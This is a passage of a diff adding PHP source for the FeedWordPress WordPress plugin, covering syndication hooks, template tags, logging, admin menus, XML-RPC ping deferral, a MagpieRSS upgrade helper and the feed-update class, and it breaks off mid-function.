+// If this is a FeedWordPress admin page, queue up scripts for AJAX functions that FWP uses
+// If it is a display page or a non-FeedWordPress admin page, don't.
+if (is_admin() and isset($_REQUEST['page']) and preg_match("|^{$fwp_path}/|", $_REQUEST['page'])) :
+	if (function_exists('wp_enqueue_script')) :
+		if (isset($wp_db_version) and $wp_db_version >= FWP_SCHEMA_25) :
+			wp_enqueue_script('post'); // for magic tag and category boxes
+			wp_enqueue_script('thickbox'); // for fold-up boxes
+			wp_enqueue_script('admin-forms'); // for checkbox selection
+		else :
+			wp_enqueue_script( 'ajaxcat' ); // Provides the handy-dandy new category text box
+		endif;
+	endif;
+	if (function_exists('wp_enqueue_style')) :
+		if (fwp_test_wp_version(FWP_SCHEMA_25)) :
+			wp_enqueue_style('dashboard');
+		endif;
+	endif;
+	if (function_exists('wp_admin_css')) :
+		if (fwp_test_wp_version(FWP_SCHEMA_25)) :
+			wp_admin_css('css/dashboard');
+		endif;
+	endif;
+endif;
+
+if (!FeedWordPress::needs_upgrade()) : // only work if the conditions are safe!
+
+	# Syndicated items are generally received in output-ready (X)HTML and
+	# should not be folded, crumpled, mutilated, or spindled by WordPress
+	# formatting filters. But we don't want to interfere with filters for
+	# any locally-authored posts, either.
+	#
+	# What WordPress should really have is a way for upstream filters to
+	# stop downstream filters from running at all. Since it doesn't, and
+	# since a downstream filter can't access the original copy of the text
+	# that is being filtered, what we will do here is (1) save a copy of the
+	# original text upstream, before any other filters run, and then (2)
+	# retrieve that copy downstream, after all the other filters run, *if*
+	# this is a syndicated post
+
+	add_filter('the_content', 'feedwordpress_preserve_syndicated_content', -10000);
+	add_filter('the_content', 'feedwordpress_restore_syndicated_content', 10000);
+	
+	add_action('atom_entry', 'feedwordpress_item_feed_data');
+	
+	# Filter in original permalinks if the user wants that
+	add_filter('post_link', 'syndication_permalink', 1);
+
+	# WTF? By default, wp_insert_link runs incoming link_url and link_rss
+	# URIs through default filters that include `wp_kses()`. But `wp_kses()`
+	# just happens to escape any occurrence of & to &amp; -- which just
+	# happens to fuck up any URI with a & to separate GET parameters.
+	remove_filter('pre_link_rss', 'wp_filter_kses');
+	remove_filter('pre_link_url', 'wp_filter_kses');
+	
+	# Admin menu
+	add_action('admin_menu', 'fwp_add_pages');
+	add_action('admin_notices', 'fwp_check_debug');
+	add_action('admin_notices', 'fwp_check_magpie');
+
+	# Inbound XML-RPC update methods
+	add_filter('xmlrpc_methods', 'feedwordpress_xmlrpc_hook');
+	
+	# Outbound XML-RPC ping reform
+	remove_action('publish_post', 'generic_ping'); // WP 1.5.x
+	remove_action('do_pings', 'do_all_pings', 10, 1); // WP 2.1, 2.2
+	remove_action('publish_post', '_publish_post_hook', 5, 1); // WP 2.3
+
+	add_action('publish_post', 'fwp_publish_post_hook', 5, 1);
+	add_action('do_pings', 'fwp_do_pings', 10, 1);
+	add_action('feedwordpress_update', 'fwp_hold_pings');
+	add_action('feedwordpress_update_complete', 'fwp_release_pings');
+
+	# Hook in logging functions only if the logging option is ON
+	$update_logging = get_option('feedwordpress_update_logging');
+	if ($update_logging == 'yes') :
+		add_action('post_syndicated_item', 'log_feedwordpress_post', 100);
+		add_action('update_syndicated_item', 'log_feedwordpress_update_post', 100);
+		add_action('feedwordpress_update', 'log_feedwordpress_update_feeds', 100);
+		add_action('feedwordpress_check_feed', 'log_feedwordpress_check_feed', 100);
+		add_action('feedwordpress_update_complete', 'log_feedwordpress_update_complete', 100);
+	endif;
+		
+	# Cron-less auto-update. Hooray!
+	add_action('init', 'feedwordpress_auto_update');
+	add_action('init', 'feedwordpress_check_for_magpie_fix');
+	
+	# Default sanitizers
+	add_filter('syndicated_item_content', array('SyndicatedPost', 'resolve_relative_uris'), 0, 2);
+	add_filter('syndicated_item_content', array('SyndicatedPost', 'sanitize_content'), 0, 2);
+
+else :
+	# Hook in the menus, which will just point to the upgrade interface
+	add_action('admin_menu', 'fwp_add_pages');
+endif; // if (!FeedWordPress::needs_upgrade())
+
+function feedwordpress_check_for_magpie_fix () {
+	if (isset($_POST['action']) and $_POST['action']=='fix_magpie_version') :
+		FeedWordPressCompatibility::validate_http_request(/*action=*/ 'feedwordpress_fix_magpie', /*capability=*/ 'edit_files');
+
+		$back_to = $_SERVER['REQUEST_URI'];
+		if (isset($_POST['ignore'])) :
+			// kill error message by telling it we ignored the upgrade request for this version
+			update_option('feedwordpress_magpie_ignored_upgrade_to', EXPECTED_MAGPIE_VERSION);
+			$ret = 'ignored';
+		elseif (isset($_POST['upgrade'])) :
+			$source = dirname(__FILE__)."/MagpieRSS-upgrade/rss.php";
+			$destination = ABSPATH . WPINC . '/rss.php';
+			$success = @copy($source, $destination);
+			$ret = (int) $success;
+		endif;
+
+		if (strpos($back_to, '?')===false) : $sep = '?';
+		else : $sep = '&';
+		endif;
+
+		header("Location: {$back_to}{$sep}feedwordpress_magpie_fix=".$ret);
+		exit;
+	endif;
+} /* feedwordpress_check_for_magpie_fix() */
+
+function feedwordpress_auto_update () {
+	if (FeedWordPress::stale()) :
+		$feedwordpress =& new FeedWordPress;
+		$feedwordpress->update();
+	endif;
+	
+	if (FeedWordPress::update_requested()) :
+		exit;
+	endif;
+} /* feedwordpress_auto_update () */
+
+################################################################################
+## LOGGING FUNCTIONS: log status updates to error_log if you want it ###########
+################################################################################
+
+function log_feedwordpress_post ($id) {
+	$post = wp_get_single_post($id);
+	error_log("[".date('Y-m-d H:i:s')."][feedwordpress] posted "
+		."'{$post->post_title}' ({$post->post_date})");
+}
+
+function log_feedwordpress_update_post ($id) {
+	$post = wp_get_single_post($id);
+	error_log("[".date('Y-m-d H:i:s')."][feedwordpress] updated "
+		."'{$post->post_title}' ({$post->post_date})"
+		." (as of {$post->post_modified})");
+}
+
+function log_feedwordpress_update_feeds ($uri) {
+	error_log("[".date('Y-m-d H:i:s')."][feedwordpress] update('$uri')");
+}
+
+function log_feedwordpress_check_feed ($feed) {
+	$uri = $feed['link/uri']; $name = $feed['link/name'];
+	error_log("[".date('Y-m-d H:i:s')."][feedwordpress] Examining $name <$uri>");
+}
+
+function log_feedwordpress_update_complete ($delta) {
+	$mesg = array();
+	if (isset($delta['new'])) $mesg[] = 'added '.$delta['new'].' new posts';
+	if (isset($delta['updated'])) $mesg[] = 'updated '.$delta['updated'].' existing posts';
+	if (empty($mesg)) $mesg[] = 'nothing changed';
+
+	error_log("[".date('Y-m-d H:i:s')."][feedwordpress] "
+		.(is_null($delta) ? "Error: I don't syndicate that URI"
+		: implode(' and ', $mesg)));
+}
+
+################################################################################
+## TEMPLATE API: functions to make your templates syndication-aware ############
+################################################################################
+
+function is_syndicated () { return (strlen(get_syndication_feed_id()) > 0); }
+
+function get_syndication_source_link ($original = NULL) {
+	if (is_null($original)) : $original = FeedWordPress::use_aggregator_source_data();
+	endif;
+
+	if ($original) : $vals = get_post_custom_values('syndication_source_uri_original');
+	else : $vals = array();
+	endif;
+	
+	if (count($vals) == 0) : $vals = get_post_custom_values('syndication_source_uri');
+	endif;
+	
+	if (count($vals) > 0) : $ret = $vals[0]; else : $ret = NULL; endif;
+
+	return $ret;
+} /* function get_syndication_source_link() */
+
+function the_syndication_source_link ($original = NULL) { echo get_syndication_source_link($original); }
+
+function get_syndication_source ($original = NULL) {
+	if (is_null($original)) : $original = FeedWordPress::use_aggregator_source_data();
+	endif;
+
+	if ($original) : $vals = get_post_custom_values('syndication_source_original');
+	else : $vals = array();
+	endif;
+	
+	if (count($vals) == 0) : $vals = get_post_custom_values('syndication_source');
+	endif;
+	
+	if (count($vals) > 0) : $ret = $vals[0]; else : $ret = NULL; endif;
+
+	return $ret;
+} /* function get_syndication_source() */
+
+function the_syndication_source ($original = NULL) { echo get_syndication_source($original); }
+
+function get_syndication_feed ($original = NULL) {
+	if (is_null($original)) : $original = FeedWordPress::use_aggregator_source_data();
+	endif;
+
+	if ($original) : $vals = get_post_custom_values('syndication_feed_original');
+	else : $vals = array();
+	endif;
+	
+	if (count($vals) == 0) : $vals = get_post_custom_values('syndication_feed');
+	endif;
+	
+	if (count($vals) > 0) : $ret = $vals[0]; else : $ret = NULL; endif;
+
+	return $ret;
+} /* function get_syndication_feed() */
+
+function the_syndication_feed ($original = NULL) { echo get_syndication_feed ($original); }
+
+function get_syndication_feed_guid ($original = NULL) {
+	if (is_null($original)) : $original = FeedWordPress::use_aggregator_source_data();
+	endif;
+
+	if ($original) : $vals = get_post_custom_values('syndication_source_id_original');
+	else : $vals = array();
+	endif;
+	
+	if (count($vals) == 0) : $vals = array(get_feed_meta('feed/id'));
+	endif;
+	
+	if (count($vals) > 0) : $ret = $vals[0]; else : $ret = NULL; endif;
+
+	return $ret;
+} /* function get_syndication_feed_guid () */
+
+function the_syndication_feed_guid ($original = NULL) { echo get_syndication_feed_guid($original); }
+
+function get_syndication_feed_id () { list($u) = get_post_custom_values('syndication_feed_id'); return $u; }
+function the_syndication_feed_id () { echo get_syndication_feed_id(); }
+
+$feedwordpress_linkcache =  array (); // only load links from database once
+
+function get_feed_meta ($key) {
+	global $wpdb, $feedwordpress_linkcache;
+	$feed_id = get_syndication_feed_id();
+
+	$ret = NULL;
+	if (strlen($feed_id) > 0):
+		if (isset($feedwordpress_linkcache[$feed_id])) :
+			$link = $feedwordpress_linkcache[$feed_id];
+		else :
+			$link =& new SyndicatedLink($feed_id);
+			$feedwordpress_linkcache[$feed_id] = $link;
+		endif;
+
+		$ret = $link->settings[$key];
+	endif;
+	return $ret;
+} /* get_feed_meta() */
+
+function get_syndication_permalink () {
+	list($u) = get_post_custom_values('syndication_permalink'); return $u;
+}
+function the_syndication_permalink () {
+	echo get_syndication_permalink();
+}
+
+################################################################################
+## FILTERS: syndication-aware handling of post data for templates and feeds ####
+################################################################################
+
+$feedwordpress_the_syndicated_content = NULL;
+
+function feedwordpress_preserve_syndicated_content ($text) {
+	global $feedwordpress_the_syndicated_content;
+
+	$globalExpose = (get_option('feedwordpress_formatting_filters') == 'yes');
+	$localExpose = get_post_custom_values('_feedwordpress_formatting_filters');
+	$expose = ($globalExpose or ((count($localExpose) > 0) and $localExpose[0]));
+
+	if ( is_syndicated() and !$expose ) :
+		$feedwordpress_the_syndicated_content = $text;
+	else :
+		$feedwordpress_the_syndicated_content = NULL;
+	endif;
+	return $text;
+}
+
+function feedwordpress_restore_syndicated_content ($text) {
+	global $feedwordpress_the_syndicated_content;
+	
+	if ( !is_null($feedwordpress_the_syndicated_content) ) :
+		$text = $feedwordpress_the_syndicated_content;
+	endif;
+
+	return $text;
+}
+
+function feedwordpress_item_feed_data () {
+	// In a post context....
+	if (is_syndicated()) :
+?>
+<source>
+	<title><?php the_syndication_source(); ?></title>
+	<link rel="alternate" type="text/html" href="<?php the_syndication_source_link(); ?>" />
+	<link rel="self" href="<?php the_syndication_feed(); ?>" />
+<?php
+	$id = get_syndication_feed_guid();
+	if (strlen($id) > 0) :
+?>
+	<id><?php print $id; ?></id>
+<?php
+	endif;
+	$updated = get_feed_meta('feed/updated');
+	if (strlen($updated) > 0) : ?>
+	<updated><?php print $updated; ?></updated>
+<?php
+	endif;
+?>
+</source>
+<?php
+	endif;
+}
+
+function syndication_permalink ($permalink = '') {
+	if (get_option('feedwordpress_munge_permalink') != 'no'):
+		$uri = get_syndication_permalink();
+		return ((strlen($uri) > 0) ? $uri : $permalink);
+	else:
+		return $permalink;
+	endif;
+} // function syndication_permalink ()
+
+################################################################################
+## ADMIN MENU ADD-ONS: register Dashboard management pages #####################
+################################################################################
+
+function fwp_add_pages () {
+	global $fwp_capability;
+	global $fwp_path;
+
+	$menu = array('Syndicated Sites', 'Syndication', $fwp_capability['manage_links'], $fwp_path.'/syndication.php', NULL);
+	if (fwp_test_wp_version(FWP_SCHEMA_27)) :
+		// add icon parameter
+		$menu[] = WP_PLUGIN_URL.'/'.$fwp_path.'/feedwordpress-tiny.png';
+	endif;
+
+	if (fwp_test_wp_version(FWP_SCHEMA_26)) :
+		$options = __('Settings');
+		$longoptions = __('Syndication Settings');
+	else :
+		$options = __('Options');
+		$longoptions = __('Syndication Options');
+	endif;
+
+	call_user_func_array('add_menu_page', $menu);
+	add_submenu_page($fwp_path.'/syndication.php', 'Syndicated Posts', 'Posts', $fwp_capability['manage_options'], $fwp_path.'/posts-page.php');
+	add_submenu_page($fwp_path.'/syndication.php', 'Syndicated Authors', 'Authors', $fwp_capability['manage_options'], $fwp_path.'/authors-page.php');
+	add_submenu_page($fwp_path.'/syndication.php', 'Categories & Tags', 'Categories & Tags', $fwp_capability['manage_options'], $fwp_path.'/categories-page.php');
+	add_submenu_page($fwp_path.'/syndication.php', $longoptions, $options, $fwp_capability['manage_options'], $fwp_path.'/syndication-options.php');
+
+	add_options_page($longoptions, 'Syndication', $fwp_capability['manage_options'], $fwp_path.'/syndication-options.php');
+} /* function fwp_add_pages () */
+
+function fwp_check_debug () {
+	// This is a horrible fucking kludge that I have to do because the
+	// admin notice code is triggered before the code that updates the
+	// setting.
+	if (isset($_POST['feedwordpress_debug'])) :
+		$feedwordpress_debug = $_POST['feedwordpress_debug'];
+	else :
+		$feedwordpress_debug = get_option('feedwordpress_debug');
+	endif;
+	if ($feedwordpress_debug==='yes') :
+?>
+		<div class="error">
+<p><strong>FeedWordPress warning.</strong> Debugging mode is <strong>ON</strong>.
+While it remains on, FeedWordPress displays many diagnostic error messages,
+warnings, and notices that are ordinarily suppressed, and also turns off all
+caching of feeds. Use with caution: this setting is absolutely inappropriate
+for a production server.</p>
+		</div>
+<?php
+	endif;
+} /* function fwp_check_debug () */
+
+define('EXPECTED_MAGPIE_VERSION', '2009.0618');
+function fwp_check_magpie () {
+	if (isset($_REQUEST['feedwordpress_magpie_fix'])) :
+		if ($_REQUEST['feedwordpress_magpie_fix']=='ignored') :
+?>
+<div class="updated fade">
+<p>O.K., we'll ignore the problem for now. FeedWordPress will not display any
+more error messages.</p>
+</div>
+<?php
+		elseif ((bool) $_REQUEST['feedwordpress_magpie_fix']) :
+?>
+<div class="updated fade">
+<p>Congratulations! Your MagpieRSS has been successfully upgraded to the version
+shipped with FeedWordPress.</p>
+</div>
+<?php
+		else :
+			$source = dirname(__FILE__)."/MagpieRSS-upgrade/rss.php";
+			$destination = ABSPATH . WPINC . '/rss.php';
+			$cmd = "cp '".htmlspecialchars(addslashes($source))."' '".htmlspecialchars(addslashes($destination))."'";
+			$cmd = wordwrap($cmd, /*width=*/ 75, /*break=*/ " \\\n\t");
+
+?>
+<div class="error">
+<p><strong>FeedWordPress was unable to automatically upgrade your copy of MagpieRSS.</strong></p>
+<p>It's likely that you need to change the file permissions on <code><?php print htmlspecialchars($source); ?></code>
+to allow FeedWordPress to overwrite it.</p>
+<p><strong>To perform the upgrade manually,</strong> you can
+use a SFTP or FTP client to upload a copy of <code>rss.php</code> from the
+<code>MagpieRSS-upgrades/</code> directory of your FeedWordPress archive so that
+it overwrites <code><?php print htmlspecialchars($destination); ?></code>. Or,
+if your web host provides shell access, you can issue the following command from
+a command prompt to perform the upgrade:</p>
+<pre>
+<samp>$</samp> <kbd><?php print $cmd; ?></kbd>
+</pre>
+<p><strong>If you've fixed the file permissions,</strong> you can try the
+automatic upgrade again.</p>
+
+<?php			feedwordpress_upgrade_old_and_busted_buttons(); ?>
+</div>
+<?php
+		endif;
+	else :
+		$magpie_version = FeedWordPress::magpie_version();
+
+		$ignored = get_option('feedwordpress_magpie_ignored_upgrade_to');
+		if (EXPECTED_MAGPIE_VERSION != $magpie_version and EXPECTED_MAGPIE_VERSION != $ignored) :
+			if (current_user_can('edit_files')) :
+				$youAre = 'you are';
+				$itIsRecommendedThatYou = 'It is <strong>strongly recommended</strong> that you';
+			else :
+				$youAre = 'this site is';
+				$itIsRecommendedThatYou = 'You may want to contact the administrator of the site; it is <strong>strongly recommended</strong> that they';
+			endif;
+			print '<div class="error">';
+?>
+<p style="font-style: italic"><strong>FeedWordPress has detected that <?php print $youAre; ?> currently using a version of
+MagpieRSS other than the upgraded version that ships with this version of FeedWordPress.</strong></p>
+<ul>
+<li><strong>Currently running:</strong> MagpieRSS <?php print $magpie_version; ?></li>
+<li><strong>Version included with FeedWordPress <?php print FEEDWORDPRESS_VERSION; ?>:</strong> MagpieRSS <?php print EXPECTED_MAGPIE_VERSION; ?></li>
+</ul>
+<p><?php print $itIsRecommendedThatYou; ?> install the upgraded
+version of MagpieRSS supplied with FeedWordPress. The version of
+MagpieRSS that ships with WordPress is very old and buggy, and
+encounters a number of errors when trying to parse modern Atom
+and RSS feeds.</p>
+<?php
+			feedwordpress_upgrade_old_and_busted_buttons();
+			print '</div>';
+		endif;
+	endif;
+}
+
+function feedwordpress_upgrade_old_and_busted_buttons() {
+	if (current_user_can('edit_files')) :
+?>
+<form action="" method="post"><div>
+<?php FeedWordPressCompatibility::stamp_nonce('feedwordpress_fix_magpie'); ?>
+<input type="hidden" name="action" value="fix_magpie_version" />
+<input class="button-secondary" type="submit" name="ignore" value="<?php _e('Ignore this problem'); ?>" />
+<input class="button-primary" type="submit" name="upgrade" value="<?php _e('Upgrade'); ?>" />
+</div></form>
+<?php
+	endif;
+}
+
+################################################################################
+## fwp_hold_pings() and fwp_release_pings(): Outbound XML-RPC ping reform   ####
+## ... 'coz it's rude to send 500 pings the first time your aggregator runs ####
+################################################################################
+
+$fwp_held_ping = NULL;		// NULL: not holding pings yet
+
+function fwp_hold_pings () {
+	global $fwp_held_ping;
+	if (is_null($fwp_held_ping)):
+		$fwp_held_ping = 0;	// 0: ready to hold pings; none yet received
+	endif;
+}
+
+function fwp_release_pings () {
+	global $fwp_held_ping;
+	if ($fwp_held_ping):
+		if (function_exists('wp_schedule_single_event')) :
+			wp_schedule_single_event(time(), 'do_pings');
+		else :
+			generic_ping($fwp_held_ping);
+		endif;
+	endif;
+	$fwp_held_ping = NULL;	// NULL: not holding pings anymore
+}
+
+function fwp_do_pings () {
+	if (!is_null($fwp_held_ping) and $post_id) : // Defer until we're done updating
+		$fwp_held_ping = $post_id;
+	elseif (function_exists('do_all_pings')) :
+		do_all_pings();
+	else :
+		generic_ping($fwp_held_ping);
+	endif;
+}
+
+function fwp_publish_post_hook ($post_id) {
+	global $fwp_held_ping;
+
+	if (!is_null($fwp_held_ping)) : // Syndicated post. Don't mark with _pingme
+		if ( defined('XMLRPC_REQUEST') )
+			do_action('xmlrpc_publish_post', $post_id);
+		if ( defined('APP_REQUEST') )
+			do_action('app_publish_post', $post_id);
+		
+		if ( defined('WP_IMPORTING') )
+			return;
+
+		// Defer sending out pings until we finish updating
+		$fwp_held_ping = $post_id;
+	else :
+		if (function_exists('_publish_post_hook')) : // WordPress 2.3
+			_publish_post_hook($post_id);
+		endif;
+	endif;
+}
+
+################################################################################
+## class FeedWordPress #########################################################
+################################################################################
+
+// class FeedWordPress: handles feed updates and plugs in to the XML-RPC interface
+class FeedWordPress {
+	var $strip_attrs = array (
+		      array('[a-z]+', 'style'),
+		      array('[a-z]+', 'target'),
+	);
+	var $uri_attrs = array (
+			array('a', 'href'),
+			array('applet', 'codebase'),
+			array('area', 'href'),
+			array('blockquote', 'cite'),
+			array('body', 'background'),
+			array('del', 'cite'),
+			array('form', 'action'),
+			array('frame', 'longdesc'),
+			array('frame', 'src'),
+			array('iframe', 'longdesc'),
+			array('iframe', 'src'),
+			array('head', 'profile'),
+			array('img', 'longdesc'),
+			array('img', 'src'),
+			array('img', 'usemap'),
+			array('input', 'src'),
+			array('input', 'usemap'),
+			array('ins', 'cite'),
+			array('link', 'href'),
+			array('object', 'classid'),
+			array('object', 'codebase'),
+			array('object', 'data'),
+			array('object', 'usemap'),
+			array('q', 'cite'),
+			array('script', 'src')
+	);
+
+	var $feeds = NULL;
+
+	# function FeedWordPress (): Contructor; retrieve a list of feeds 
+	function FeedWordPress () {
+		$this->feeds = array ();
+		$links = FeedWordPress::syndicated_links();
+		if ($links): foreach ($links as $link):
+			$this->feeds[] =& new SyndicatedLink($link);
+		endforeach; endif;
+	} // FeedWordPress::FeedWordPress ()
+
+	# function update (): polls for updates on one or more Contributor feeds
+	#
+	# Arguments:
+	# ----------
+	# *    $uri (string): either the URI of the feed to poll, the URI of the
+	#      (human-readable) website whose feed you want to poll, or NULL.
+	#
+	#      If $uri is NULL, then FeedWordPress will poll any feeds that are
+	#      ready for polling. It will not poll feeds that are marked as
+	#      "Invisible" Links (signifying that the subscription has been
+	#      de-activated), or feeds that are not yet stale according to their
+	#      TTL setting (which is either set in the feed, or else set
+	#      randomly within a window of 30 minutes - 2 hours).
+	#
+	# Returns:
+	# --------
+	# *    Normally returns an associative array, with 'new' => the number
+	#      of new posts added during the update, and 'updated' => the number
+	#      of old posts that were updated during the update. If both numbers
+	#      are zero, there was no change since the last poll on that URI.
+	#
+	# *    Returns NULL if URI it was passed was not a URI that this
+	#      installation of FeedWordPress syndicates.
+	#
+	# Effects:
+	# --------
+	# *    One or more feeds are polled for updates
+	#
+	# *    If the feed Link does not have a hardcoded name set, its Link
+	#      Name is synchronized with the feed's title element
+	#
+	# *    If the feed Link does not have a hardcoded URI set, its Link URI
+	#      is synchronized with the feed's human-readable link element
+	#
+	# *    If the feed Link does not have a hardcoded description set, its
+	#      Link Description is synchronized with the feed's description,
+	#      tagline, or subtitle element.
+	#
+	# *    The time of polling is recorded in the feed's settings, and the
+	#      TTL (time until the feed is next available for polling) is set
+	#      either from the feed (if it is supplied in the ttl or syndication
+	#      module elements) or else from a randomly-generated time window
+	#      (between 30 minutes and 2 hours).
+	#
+	# *    New posts from the polled feed are added to the WordPress store.
+	# 
+	# *    Updates to existing posts since the last poll are mirrored in the
+	#      WordPress store.
+	#
+	function update ($uri = null, $crash_ts = null) {
+		global $wpdb;
+
+		if (FeedWordPress::needs_upgrade()) : // Will make duplicate posts if we don't hold off
+			return NULL;
+		endif;
+		
+		if (!is_null($uri)) :
+			$uri = trim($uri);
+		else : // Update all
+			update_option('feedwordpress_last_update_all', time());
+		endif;
+
+		do_action('feedwordpress_update', $uri);
+
+		if (is_null($crash_ts)) :
+			$crash_dt = (int) get_option('feedwordpress_update_time_limit');
+			if ($crash_dt > 0) :
+				$crash_ts = time() + $crash_dt;
+			else :
+				$crash_ts = NULL;
+			endif;
+		endif;
+		
+		// Randomize order for load balancing purposes
+		$feed_set = $this->feeds;
+		shuffle($feed_set);
+
+		// Loop through and check for new posts
+		$delta = NULL;
+		foreach ($feed_set as $feed) :
+			if (!is_null($crash_ts) and (time() > $crash_ts)) : // Check whether we've exceeded the time limit
+				break;
+			endif;
+
+			$pinged_that = (is_null($uri) or in_array($uri, array($feed->uri(), $feed->homepage())));
+
+			if (!is_null($uri)) : // A site-specific ping always updates
+				$timely = true;
+			else :
+				$timely = $feed->stale();
+			endif;
+
+			if ($pinged_that and is_null($delta)) :			// If at least one feed was hit for updating...
+				$delta = array('new' => 0, 'updated' => 0);	// ... don't return error condition 
+			endif;
+
+			if ($pinged_that and $timely) :
+				do_action('feedwordpress_check_feed', $feed->settings);
+				$start_ts = time();
+				$added = $feed->poll($crash_ts);
+				do_action('feedwordpress_check_feed_complete', $feed->settings, $added, time() - $start_ts);
+
+				if (isset($added['new'])) : $delta['new'] += $added['new']; endif;
+				if (isset($added['updated'])) : $delta['updated'] += $added['updated']; endif;
+			endif;
+		endforeach;
+
+		do_action('feedwordpress_update_complete', $delta);
+
+		return $delta;
+	}
+
+	function stale () {
+		if (get_option('feedwordpress_automatic_updates')) :
+			$last = get_option('feedwordpress_last_update_all');
+		
+			// If we haven't updated all yet, give it a time window
+			if (false === $last) :
+				$ret = false;
+				update_option('feedwordpress_last_update_all', time());
+			
+			// Otherwise, check against freshness interval
+			elseif (is_numeric($last)) : // Expect a timestamp
+				$freshness = get_option('feedwordpress_freshness');
+				if (false === $freshness) : // Use default
+					$freshness = FEEDWORDPRESS_FRESHNESS_INTERVAL;
+				endif;
+				$ret = ( (time() - $last) > $freshness);
+
+			 // This should never happen.
+			else :
+				FeedWordPress::critical_bug('FeedWordPress::stale::last', $last, __LINE__);
+			endif;
+
+		// Explicit request for an update (e.g. from a cron job).
+		elseif (FeedWordPress::update_requested()) :
+			$ret = true;
+
+		else :
+			$ret = false;
+		endif;
+		return $ret;
+	} // FeedWordPress::stale()
+	
+	function update_requested () {
+		return (isset($_REQUEST['update_feedwordpress']) and $_REQUEST['update_feedwordpress']);
+	} // FeedWordPress::update_requested()
+
+	function syndicate_link ($name, $uri, $rss) {
+		global $wpdb;
+
+		// Get the category ID#
+		$cat_id = FeedWordPress::link_category_id();
+		
+		// WordPress gets cranky if there's no homepage URI
+		if (!isset($uri) or strlen($uri)<1) : $uri = $rss; endif;
+		
+		if (function_exists('wp_insert_link')) { // WordPress 2.x
+			$link_id = wp_insert_link(array(
+				"link_name" => $name,
+				"link_url" => $uri,
+				"link_category" => (fwp_test_wp_version(0, FWP_SCHEMA_21) ? $cat_id : array($cat_id)),
+				"link_rss" => $rss
+			));
+		} else { // WordPress 1.5.x
+			$result = $wpdb->query("
+			INSERT INTO $wpdb->links
+			SET
+				link_name = '".$wpdb->escape($name)."',
+				link_url = '".$wpdb->escape($uri)."',
+				link_category = '".$wpdb->escape($cat_id)."',
+				link_rss = '".$wpdb->escape($rss)."'
+			");
+			$link_id = $wpdb->insert_id;
+		} // if
+		return $link_id;
+	} // function FeedWordPress::syndicate_link()
+
+	function on_unfamiliar ($what = 'author', $override = NULL) {
+		$set = array(
+			'author' => array('create', 'default', 'filter'),
+			'category' => array('create', 'tag', 'default', 'filter'),
+		);
+		
+		if (is_string($override)) :
+			$ret = strtolower($override);
+		endif;
+
+		if (!is_numeric($override) and !in_array($ret, $set[$what])) :
+			$ret = get_option('feedwordpress_unfamiliar_'.$what);
+			if (!is_numeric($ret) and !in_array($ret, $set[$what])) :
+				$ret = 'create';
+			endif;
+		endif;
+
+		return $ret;
+	} // function FeedWordPress::on_unfamiliar()
+
+	function null_email_set () {
+		$base = get_option('feedwordpress_null_email_set');
+
+		if ($base===false) :
+			$ret = array('noreply@blogger.com'); // default
+		else :
+			$ret = array_map('strtolower',
+				array_map('trim', explode("\n", $base)));
+		endif;
+		$ret = apply_filters('syndicated_item_author_null_email_set', $ret);
+		return $ret;
+
+	} /* FeedWordPress::null_email_set () */
+
+	function is_null_email ($email) {
+		$ret = in_array(strtolower(trim($email)), FeedWordPress::null_email_set());
+		$ret = apply_filters('syndicated_item_author_is_null_email', $ret, $email);
+		return $ret;
+	} /* FeedWordPress::is_null_email () */
+
+	function use_aggregator_source_data () {
+		$ret = get_option('feedwordpress_use_aggregator_source_data');
+		return apply_filters('syndicated_post_use_aggregator_source_data', ($ret=='yes'));
+	}
+
+	function syndicated_links () {
+		$contributors = FeedWordPress::link_category_id();
+		if (function_exists('get_bookmarks')) :
+			$links = get_bookmarks(array("category" => $contributors));
+		else: 
+			$links = get_linkobjects($contributors); // deprecated as of WP 2.1
+		endif;
+		return $links;
+	} // function FeedWordPress::syndicated_links()
+
+	function link_category_id () {
+		global $wpdb, $wp_db_version;
+
+		$cat_id = get_option('feedwordpress_cat_id');
+		
+		// If we don't yet *have* the category, we'll have to create it
+		if ($cat_id === false) :
+			$cat = $wpdb->escape(DEFAULT_SYNDICATION_CATEGORY);
+			
+			// Look for something with the right name...
+			// -----------------------------------------
+
+			// WordPress 2.3 introduces a new taxonomy/term API
+			if (function_exists('is_term')) :
+				$cat_id = is_term($cat, 'link_category');
+			// WordPress 2.1 and 2.2 use a common table for both link and post categories
+			elseif (fwp_test_wp_version(FWP_SCHEMA_21, FWP_SCHEMA_23)) :
+				$cat_id = $wpdb->get_var("SELECT cat_id FROM {$wpdb->categories} WHERE cat_name='$cat'");
+			// WordPress 1.5 and 2.0.x have a separate table for link categories
+			elseif (fwp_test_wp_version(0, FWP_SCHEMA_21)):
+				$cat_id = $wpdb->get_var("SELECT cat_id FROM {$wpdb->linkcategories} WHERE cat_name='$cat'");
+			// This should never happen.
+			else :
+				FeedWordPress::critical_bug('FeedWordPress::link_category_id::wp_db_version', $wp_db_version, __LINE__);
+			endif;
+
+			// If you still can't find anything, make it for yourself.
+			// -------------------------------------------------------
+			if (!$cat_id) :
+				// WordPress 2.3+ term/taxonomy API
+				if (function_exists('wp_insert_term')) :
+					$term = wp_insert_term($cat, 'link_category');
+					$cat_id = $term['term_id'];
+				// WordPress 2.1, 2.2 category API. By the way, why the fuck is this API function only available in a wp-admin module?
+				elseif (function_exists('wp_insert_category') and !fwp_test_wp_version(FWP_SCHEMA_20, FWP_SCHEMA_21)) : 
+					$cat_id = wp_insert_category(array('cat_name' => $cat));
+				// WordPress 1.5 and 2.0.x
+				elseif (fwp_test_wp_version(0, FWP_SCHEMA_21)) :
+					$result = $wpdb->query("
+					INSERT INTO $wpdb->linkcategories
+					SET
+						cat_id = 0,
+						cat_name='$cat',
+						show_images='N',
+						show_description='N',
+						show_rating='N',
+						show_updated='N',
+						sort_order='name'
+					");
+					$cat_id = $wpdb->insert_id;
+				// This should never happen.
+				else :
+					FeedWordPress::critical_bug('FeedWordPress::link_category_id::wp_db_version', $wp_db_version, __LINE__);
+				endif;
+			endif;
+
+			update_option('feedwordpress_cat_id', $cat_id);
+		endif;
+		return $cat_id;
+	} // function FeedWordPress::link_category_id()
+
+	# Upgrades and maintenance...
+	function needs_upgrade () {
+		global $wpdb;
+		$fwp_db_version = get_option('feedwordpress_version');
+		$ret = false; // innocent until proven guilty
+		if (!$fwp_db_version or $fwp_db_version < FEEDWORDPRESS_VERSION) :
+			// This is an older version or a fresh install. Does it
+			// require a database upgrade or database initialization?
+			if ($fwp_db_version <= 0.96) :
+				// Yes. Check to see whether this is a fresh install or an upgrade.
+				$syn = $wpdb->get_col("
+				SELECT post_id
+				FROM $wpdb->postmeta
+				WHERE meta_key = 'syndication_feed'
+				");
